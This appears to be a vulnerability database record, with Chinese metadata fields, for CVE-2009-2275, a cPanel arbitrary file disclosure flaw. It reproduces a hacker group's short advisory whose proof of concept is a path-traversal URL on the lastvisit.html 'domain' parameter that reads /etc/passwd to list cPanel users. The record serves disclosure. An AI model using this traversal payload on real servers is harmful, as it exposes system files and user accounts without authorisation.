Cpanel (lastvisit.html domain) Arbitrary File Disclosure Vuln (auth)

基本字段

漏洞编号：: SSV-11710

披露/发现时间：: 未知

提交时间：: 2009-06-30

漏洞等级：

漏洞类别：: 信息泄漏

影响组件：: cPanel

漏洞作者：: 未知

提交者：: Knownsec

CVE-ID：: CVE-2009-2275

CNNVD-ID：: CNNVD-200907-013

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

漏洞详情

暂无漏洞详情

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得 0.55KB

+===================================================================================+ ./SEC-R1Z _ __ _ _ _ _ ___ _ _ _ _ __ _ _ _ _ _ / /_ _ _ _ / _ _\/ _ _ /\ \< |/_ _ _ _ / \ \_ _ _ _/ /___ / / __ | |) / | | / / \_ _ _ _/ /___ / / | __ || / | | / / _______\ \_ _ \ \2_0_0_9 | \ | | / /____ /_ _ _ _ _\ _ _ _/\ _ _ _ / |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!! +===================================================================================+ | | | | | CPANEL USER BYPASS | | | +===================================================================================+ | | | Author.: Black Dream | | Contact: Be5_at_HoTMail_dot_Fr | | HoMe : www.sec-r1z.com | | ARAB ETHICAL HACKING, PENETRATION TESTING & WEB APPLICATION SECURITY SYSTEM | +===================================================================================+ | | | Script.: CPANEL | | Home...: http://CPANEL.NET | | | +-----------------------------------------------------------------------------------+ | | | [+] Exploit: | | | | http://r1z.com:2082/frontend/x3/stats/lastvisit.html?domain=../../../../../../../../ etc/ passwd | | | | | | | | | | | [+] Now you see all cpanel[s] user[s] | | | | [+] Enjoy xD | +-----------------------------------------------------------------------------------| +===================================================================================+ | | | Greetz.: ~ His0k4 ~ j0rd4n14n.r1z ~ SimO-s0fT ~ S4s-T3rr0rist ~ Golden-Z3r0 | | Linux-D3v1L And All #sec-r1z memb3rz!!!! | +===================================================================================+ E0D|F